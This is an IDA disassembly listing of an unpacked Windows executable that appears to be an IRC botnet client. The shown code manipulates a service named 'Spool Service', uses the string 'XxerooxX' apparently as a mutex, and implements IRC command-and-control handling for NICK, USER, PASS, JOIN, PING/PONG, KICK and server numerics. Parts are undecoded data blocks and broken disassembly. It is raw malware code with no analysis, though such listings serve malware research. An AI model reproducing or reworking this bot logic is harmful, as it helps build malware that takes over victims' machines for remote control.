;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	51C0A74AB9F7255780EDAEFDA67D31FE

; File Name   :	u:\work\51c0a74ab9f7255780edaefda67d31fe_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00026000 ( 155648.)
; Section size in file		: 00026000 ( 155648.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; CODE XREF: seg000:00401074p
					; seg000:00418B23p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429058
		xor	esi, esi
		mov	ebx, offset aSpoolService ; "Spool Service"


loc_401013:				; CODE XREF: start+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_4D11A4
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B890
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_4D1214
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: start+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_4D1154


loc_401057:				; CODE XREF: start+4Bj
		push	[ebp+var_4]
		call	ds:dword_4D11CC
		add	edi, 8
		cmp	edi, offset dword_429070
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
start		endp

; ---------------------------------------------------------------------------


loc_401070:				; CODE XREF: seg000:00401086j
		push	dword ptr [esp+4]
		call	start
		pop	ecx
		push	ds:dword_429050
		call	ds:dword_427064	; Sleep
		jmp	short loc_401070

; =============== S U B	R O U T	I N E =======================================



sub_401088	proc near		; CODE XREF: sub_4010C3+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010BD
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_4010A1:				; CODE XREF: sub_401088+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4010A1
		pop	edi
		pop	ebx


loc_4010BD:				; CODE XREF: sub_401088+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401088	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010C3	proc near		; CODE XREF: seg000:00416C4Cp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BBCB
		mov	[esp+10h+var_10], offset dword_429070
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BBB8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_401112


loc_4010E8:				; CODE XREF: sub_4010C3+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_401116
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BA78
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_401112
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B990
		add	esp, 10h
		jmp	short loc_4010E8
; ---------------------------------------------------------------------------


loc_401112:				; CODE XREF: sub_4010C3+23j
					; sub_4010C3+39j
		xor	eax, eax
		jmp	short loc_401131
; ---------------------------------------------------------------------------


loc_401116:				; CODE XREF: sub_4010C3+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401088
		push	esi
		mov	ebx, eax
		call	sub_41B961
		push	edi
		call	sub_41B90B
		add	esp, 10h
		mov	eax, ebx


loc_401131:				; CODE XREF: sub_4010C3+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401135	proc near		; DATA XREF: seg000:00401269o

var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h
arg_6A1474B8	= byte ptr  6A1474C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_44412C
		call	ds:dword_4D1288
		call	sub_40B1D7
		call	ds:dword_4D1148
		call	ds:dword_4D1148
		mov	ebx, ds:dword_427064
		push	64h
		call	ebx ; dword_427064
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BC40
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_443398
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 0B00000h
		dec	ebp
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 0B00000h
		pop	ebp
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 0B00000h
		cmp	al, [ebp+arg_6A1474B8]
		db	64h
		call	ebx ; dword_427064
		push	[ebp+var_10]
		mov	esi, ds:dword_42706C
		call	esi ; dword_42706C
		push	[ebp+var_C]
		call	esi ; dword_42706C
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443390
		mov	eax, [esp+10h+var_10]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_427068	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_40121D:				; DATA XREF: seg002:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418F1D
		pop	ecx
		mov	ds:dword_4D0F20, eax
		pop	ecx
		retn
sub_401135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401239	proc near		; DATA XREF: seg002:00429008o
		jmp	$+5
sub_401239	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40123E	proc near
		push	0FFFFh
		push	539h
		call	sub_418F1D
		pop	ecx
		mov	ds:dword_4D108C, eax
		pop	ecx
		retn
sub_40123E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-10h], ebx
		mov	dword ptr [ebp-0Ch], offset sub_401135
		push	dword ptr [ebp-0Ch]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_4270A8
		call	esi ; dword_4270A8
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_4D0F24, eax
		call	esi ; dword_4270A8
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_409A6D
		push	2
		call	ds:dword_4D129C
		push	7530h
		push	offset aXxerooxx ; "XxerooxX"
		push	ebx
		push	ebx
		call	near ptr 0B00000h
		pop	esi
		push	eax
		call	near ptr 0B00000h
		enter	23Dh, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 75h
		dd 0FF016A08h, 42706815h, 78858D00h, 50FFFFF7h,	20268h
		dd 6015FF00h, 3B004D11h, 0F44589C3h, 5A6850Fh, 0BD800000h
		dd 0FFFFF778h, 93850F02h, 33000005h, 79858AC0h,	3CFFFFF7h
		dd 83850F02h, 0BE000005h, 104h,	0FC0C858Dh, 5056FFFFh
		dd 6FECDFE8h, 858D8D00h, 0FFFFFD10h, 0E8535056h, 6FECD0h
		dd 0C9E8505Bh, 0D1006FECh, 0F908858Dh, 8D50FFFFh, 0FFFA0885h
		dd 8D5350FFh, 0FFFD1085h, 0E85053FFh, 1AD2Dh, 0F908858Dh
		dd 8D50FFFFh, 0FFFA0885h, 0F86850FFh, 8D004301h, 0FFFB0885h
		dd 0E85056FFh, 1ACBCh, 0FC0C858Dh, 8D50FFFFh, 0FFFD1085h
		dd 29E850FFh, 830001ACh, 0C08530C4h, 1B8850Fh, 1D390000h
		dd 4D1094h, 429100BEh, 56317400h, 0E9E8FF33h, 830001A4h
		dd 745904E8h, 0ABE0E823h, 1A6A0001h, 0F9F75999h, 61C28056h
		dd 91009788h, 0E8470042h, 1A4C8h, 5904E883h, 0DD72F83Bh
		dd 0FC0C858Dh, 5056FFFFh, 0FE14858Dh, 0F068FFFFh, 50004301h
		dd 1AB4DE8h, 10C48300h,	0FE14858Dh, 0FF50FFFFh,	42709815h
		dd 0FFF88300h, 858D1274h, 0FFFFFE14h, 8068h, 0F1E85000h
		dd 0E6006FEBh, 7090358Bh, 858D0042h, 0FFFFFE14h, 858D5053h
		dd 0FFFFFD10h, 0FF50FF33h, 75C085D6h, 8C15FF33h, 3B004270h
		dd 832975FBh, 57420F8h,	7505F883h, 5F016A1Fh, 3A9868h
		dd 6415FF00h, 8D004270h, 0FFFE1485h, 8D5053FFh,	0FFFD1085h
		dd 0C7EB50FFh, 0FE14858Dh, 0E850FFFFh, 175D3h, 14858D59h
		dd 6AFFFFFEh, 85E85007h, 9B006FEBh, 458D106Ah, 0E85053DCh
		dd 1A7B8h, 858D446Ah, 0FFFFFF18h, 5053565Eh, 1A7A7E8h
		dd 18C48300h, 0FF18B589h, 85C7FFFFh, 0FFFFFF24h, 443398h
		dd 489D8966h, 6AFFFFFFh, 0B5895E01h, 0FFFFFF44h, 6FEB3FE8h
		dd 56505200h, 10000068h, 0EB32E800h, 8D26006Fh,	0FFFD108Dh
		dd 8D5051FFh, 0FFFE1485h, 858D50FFh, 0FFFFF674h, 4301E468h
		dd 47E85000h, 830001AAh, 458D14C4h, 858D50DCh, 0FFFFFF18h
		dd 0C858D50h, 50FFFFFCh, 56286A53h, 74858D53h, 53FFFFF6h
		dd 14858D50h, 50FFFFFEh, 6FEAE3E8h, 0C085BF00h,	0C8682874h
		dd 0FF000000h, 42706415h, 0DC75FF00h, 706C358Bh, 0D6FF0042h
		dd 0FFE075FFh, 4815FFD6h, 53004D11h, 706815FFh,	3D830042h
		dd 4E1514h, 0A1437E02h,	4E1518h, 0E80470FFh, 1A8C9h, 6AF08B59h
		dd 95E856FFh, 3C006FEAh, 6C15FF56h, 0A1004270h,	4E1518h
		dd 74085839h, 7D06819h,	15FF0000h, 427064h, 4E1518A1h
		dd 870FF00h, 6FEA6BE8h,	1D397A00h, 429090h, 1D391574h
		dd 4D12C0h, 858D0D75h, 0FFFFFB08h, 0FA4EE850h, 8D59FFFFh
		dd 0FFFF5C85h, 1C868FFh, 0E8500043h, 1A972h, 5C858D53h
		dd 53FFFFFFh, 9A3CE850h, 858D0000h, 0FFFFFF5Ch,	41C8E850h
		dd 80680001h, 5300000Bh, 4433A068h, 0A652E800h,	858D0001h
		dd 0FFFFFF5Ch, 4301A468h, 37E85000h, 530001A9h,	0FF5C858Dh
		dd 16AFFFFh, 9A00E850h,	0C4830000h, 8BF88B38h, 42707C35h
		dd 0F8458D00h, 68535350h, 41A289h, 0D6FF5353h, 234FF69h
		dd 0C33B0000h, 41348789h, 1B750044h, 708C15FFh,	8D500042h
		dd 0FFFF5C85h, 16468FFh, 0E8500043h, 1A8E6h, 8D0CC483h
		dd 0FFFF5C85h, 47E850FFh, 8D000141h, 0FFFF5C85h, 2404C7FFh
		dd 430138h, 0A8C4E850h,	8D530001h, 0FFFF5C85h, 50016AFFh
		dd 998DE8h, 14C48300h, 458DF88Bh, 535350F8h, 41AD3D68h
		dd 0FF535300h, 34FF69D6h, 3B000002h, 348789C3h,	75004441h
		dd 8C15FF1Bh, 50004270h, 0FF5C858Dh, 0FC68FFFFh, 50004300h
		dd 1A879E8h, 0CC48300h,	0FF5C858Dh, 0E850FFFFh,	140DAh
		dd 0FF5C858Dh, 4C7FFFFh, 4300D424h, 57E85000h, 530001A8h
		dd 0FF5C858Dh, 16AFFFFh, 9920E850h, 0C4830000h,	8DF88B14h
		dd 8D50F845h, 0FFFB0885h, 685053FFh, 401070h, 0D6FF5353h
		dd 234FF69h, 0C33B0000h, 41348789h, 1B750044h, 708C15FFh
		dd 8D500042h, 0FFFF5C85h, 9868FFh, 0E8500043h, 1A806h
		dd 8D0CC483h, 0FFFF5C85h, 67E850FFh, 0E8000140h, 1A84Eh
		dd 0B8687F6Ah, 68004290h, 4D0F2Ch, 10A41D89h, 45E8004Dh
		dd 0A10001A5h, 429074h,	0ACBF3F6Ah, 68004D0Fh, 4290C8h
		dd 107CA357h, 29E8004Dh, 6A0001A5h, 0FECBE3Fh, 0D068004Dh
		dd 56004290h, 1A517E8h,	28C48300h, 10801D89h, 5D89004Dh
		dd 0D81D39FCh, 75004D12h, 0EC458D16h, 15FF5053h, 4D112Ch
		dd 775C085h, 753068h, 682CEB00h, 4D0F28h, 10A01D89h, 0DEE8004Dh
		dd 83000000h, 458902F8h, 0BE840FF4h, 39000000h,	4D10A01Dh
		dd 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42706415h, 0FC45FF00h
		dd 6FC7D83h, 7D83A77Ch,	840F02F4h, 95h,	74F05D39h, 687F6A40h
		dd 4290B8h, 4D0F2C68h, 0A492E800h, 74A10001h, 6A004290h
		dd 90C8683Fh, 0A3570042h, 4D107Ch, 1A47BE8h, 683F6A00h
		dd 4290D0h, 0A46EE856h,	0C4830001h, 0F05D8924h,	0FFFF55E9h
		dd 0DC1D38FFh, 0F004290h, 0FFFF4984h, 687F6AFFh, 4290DCh
		dd 4D0F2C68h, 0A446E800h, 78A10001h, 6A004290h,	90EC683Fh
		dd 0A3570042h, 4D107Ch,	1A42FE8h, 683F6A00h, 4290F4h, 0A422E856h
		dd 0C4830001h, 0F045C724h, 1, 0FFFF05E9h, 9945E8FFh, 15FF0000h
		dd 4D1148h, 0C0335E5Fh,	10C2C95Bh
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018A1	proc near		; DATA XREF: seg000:00408081o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4018C6:				; CODE XREF: sub_4018A1+E6j
					; sub_4018A1+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_4D11F0
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AA54
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_4019F3
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BC40
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_4D1098
		push	ds:dword_42909C
		push	eax
		call	sub_40AFA5
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_444138
		push	edi
		push	eax
		call	sub_41BCA0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_4D1270
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_44412C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4D1198
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40198C
		push	esi
		call	ds:dword_4D1288
		call	sub_40AA7D
		push	7D0h


loc_401981:				; CODE XREF: sub_4018A1+146j
		call	ds:dword_427064	; Sleep
		jmp	loc_4018C6
; ---------------------------------------------------------------------------


loc_40198C:				; CODE XREF: sub_4018A1+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_430200
		call	sub_41581A
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401A09
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_4D1288
		test	edi, edi
		jz	loc_4018C6
		cmp	edi, 1
		jnz	short loc_4019E9
		push	0DBBA0h
		jmp	short loc_401981
; ---------------------------------------------------------------------------


loc_4019E9:				; CODE XREF: sub_4018A1+13Fj
		cmp	edi, 2
		jz	short loc_4019F7
		jmp	loc_4018C6
; ---------------------------------------------------------------------------


loc_4019F3:				; CODE XREF: sub_4018A1+5Aj
		xor	eax, eax
		jmp	short loc_401A03
; ---------------------------------------------------------------------------


loc_4019F7:				; CODE XREF: sub_4018A1+14Bj
		push	[ebp+var_34]
		call	sub_40B32A
		pop	ecx
		push	2
		pop	eax


loc_401A03:				; CODE XREF: sub_4018A1+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4018A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A09	proc near		; CODE XREF: sub_4018A1+123p

var_1990	= byte ptr -1990h
var_990		= byte ptr -990h
var_1C0		= byte ptr -1C0h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1990h
		call	sub_41C1D0
		push	ebx
		xor	ebx, ebx
		cmp	ds:byte_4D109C,	bl
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_120], bl
		jz	short loc_401A41
		push	offset byte_4D109C
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40998C
		add	esp, 0Ch


loc_401A41:				; CODE XREF: sub_401A09+21j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AFA5
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41BF36
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401AAB
		push	[ebp+arg_0]
		call	ds:dword_4D1288
		push	1388h
		call	ds:dword_427064	; Sleep


loc_401AA4:				; CODE XREF: sub_401A09+CCj
					; sub_401A09+146j
		xor	eax, eax


loc_401AA6:				; CODE XREF: sub_401A09+166j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401AAB:				; CODE XREF: sub_401A09+85j
					; sub_401A09+EBj ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1990]
		push	esi
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1990]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1208
		test	eax, eax
		jle	short loc_401AA4
		lea	eax, [ebp+var_990]
		push	eax
		lea	eax, [ebp+var_1990]
		push	eax
		call	sub_41872B
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401AAB
		lea	edi, [ebp+var_990]


loc_401AFC:				; CODE XREF: sub_401A09+158j
		push	1
		pop	esi


loc_401AFF:				; CODE XREF: sub_401A09+137j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_401B74
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401B42
		push	7D0h
		call	ds:dword_427064	; Sleep
		jmp	short loc_401AFF
; ---------------------------------------------------------------------------


loc_401B42:				; CODE XREF: sub_401A09+12Aj
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401B6C
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401B68
		cmp	esi, 0FFFFFFFFh
		jz	loc_401AA4
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401AFC
		jmp	loc_401AAB
; ---------------------------------------------------------------------------


loc_401B68:				; CODE XREF: sub_401A09+141j
		push	1
		jmp	short loc_401B6E
; ---------------------------------------------------------------------------


loc_401B6C:				; CODE XREF: sub_401A09+13Cj
		push	2


loc_401B6E:				; CODE XREF: sub_401A09+161j
		pop	eax
		jmp	loc_401AA6
sub_401A09	endp

; ---------------------------------------------------------------------------


loc_401B74:				; CODE XREF: sub_401A09+11Dp
		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41C1D0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0A8h], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A4h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-2C4h], ebx
		call	sub_41BC40
		push	1Bh
		lea	eax, [ebp-338h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_401D6C
		push	esi
		lea	eax, [ebp-4488h]
		push	ebx
		push	eax
		call	sub_41BC40
		dec	esi
		lea	eax, [ebp-4488h]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-4488h]
		push	offset asc_433690 ; " :"
		push	eax
		call	sub_41BFB0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-4488h]
		push	esi
		push	eax
		lea	eax, [ebp-4AF0h]
		push	eax
		call	sub_41BCA0
		mov	esi, offset asc_43368C ; " "
		lea	eax, [ebp-4AF0h]
		push	esi
		push	eax
		call	sub_41C794
		add	esp, 34h
		mov	[ebp-90h], eax
		lea	edi, [ebp-8Ch]
		mov	dword ptr [ebp-2C8h], 1Fh


loc_401C47:				; CODE XREF: seg000:00401C5Bj
		push	esi
		push	ebx
		call	sub_41C794
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-2C8h]
		pop	ecx
		jnz	short loc_401C47
		mov	edi, [ebp-90h]
		cmp	edi, ebx
		jz	loc_401D6C
		mov	esi, [ebp-8Ch]
		cmp	esi, ebx
		jz	loc_401D6C
		push	100h
		lea	eax, [ebp-960h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	ecx, [ebp-14h]
		push	1Fh
		pop	edx


loc_401C94:				; CODE XREF: seg000:00401CCCj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401CC6
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401CCE
		cmp	[eax+2], bl
		jnz	short loc_401CCE
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	edi, [ebp-90h]
		mov	byte ptr [ebp+esi-960h], 1
		mov	esi, [ebp-8Ch]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401CC6:				; CODE XREF: seg000:00401C98j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401C94


loc_401CCE:				; CODE XREF: seg000:00401C9Dj
					; seg000:00401CA2j
		cmp	[ebp-8EDh], bl
		jz	short loc_401CDD
		mov	dword ptr [ebp-8], 1


loc_401CDD:				; CODE XREF: seg000:00401CD4j
		cmp	[ebp-8F2h], bl
		jz	short loc_401CEF
		mov	[ebp-8], ebx
		mov	dword ptr [ebp-4], 1


loc_401CEF:				; CODE XREF: seg000:00401CE3j
		cmp	byte ptr [edi],	0Ah
		jz	short loc_401D29
		push	7Fh
		lea	eax, [ebp-0E00h]
		push	edi
		push	eax
		call	sub_41BCA0
		lea	eax, [edi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-0C0h]
		push	offset dword_42C2D0
		push	eax
		call	sub_41C794
		add	esp, 20h


loc_401D29:				; CODE XREF: seg000:00401CF2j
		push	edi
		push	offset aPing	; "PING"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D74
		push	esi
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		mov	byte ptr [edi+1], 4Fh
		call	sub_40998C
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	short loc_401D6C


loc_401D56:				; CODE XREF: seg000:00401EF1j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401D61:				; CODE XREF: seg000:0040211Aj
					; seg000:004023D7j ...
		push	dword ptr [ebp+0Ch]
		call	sub_40998C


loc_401D69:				; CODE XREF: seg000:00404003j
					; seg000:00404020j ...
		add	esp, 10h


loc_401D6C:				; CODE XREF: seg000:00401BCFj
					; seg000:00401C65j ...
		push	1


loc_401D6E:				; CODE XREF: seg000:00404558j
		pop	eax


loc_401D6F:				; CODE XREF: seg000:0040457Aj
					; seg000:00406C98j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401D74:				; CODE XREF: seg000:00401D38j
		push	esi
		push	offset a001	; "001"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409944
		push	esi
		push	offset a005	; "005"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409944
		push	esi
		push	offset a302	; "302"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DD9
		push	offset a@_6	; "@"
		push	dword ptr [ebp-84h]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6C
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]


loc_401DCF:				; CODE XREF: seg000:00401F8Ej
		call	sub_41BCA0


loc_401DD4:				; CODE XREF: seg000:00403706j
		add	esp, 0Ch
		jmp	short loc_401D6C
; ---------------------------------------------------------------------------


loc_401DD9:				; CODE XREF: seg000:00401DADj
		push	esi
		push	offset a433	; "433"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E17
		push	ebx
		push	ds:dword_4D1098
		push	ds:dword_42909C
		push	dword ptr [ebp+18h]
		call	sub_40AFA5
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		add	esp, 1Ch
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_401E17:				; CODE XREF: seg000:00401DE8j
		mov	edi, [ebp+20h]
		lea	eax, [ebp-0E00h]
		push	eax
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E37
		mov	dword ptr [ebp-0A4h], 1


loc_401E37:				; CODE XREF: seg000:00401E2Bj
		push	esi
		push	offset aKick	; "KICK"
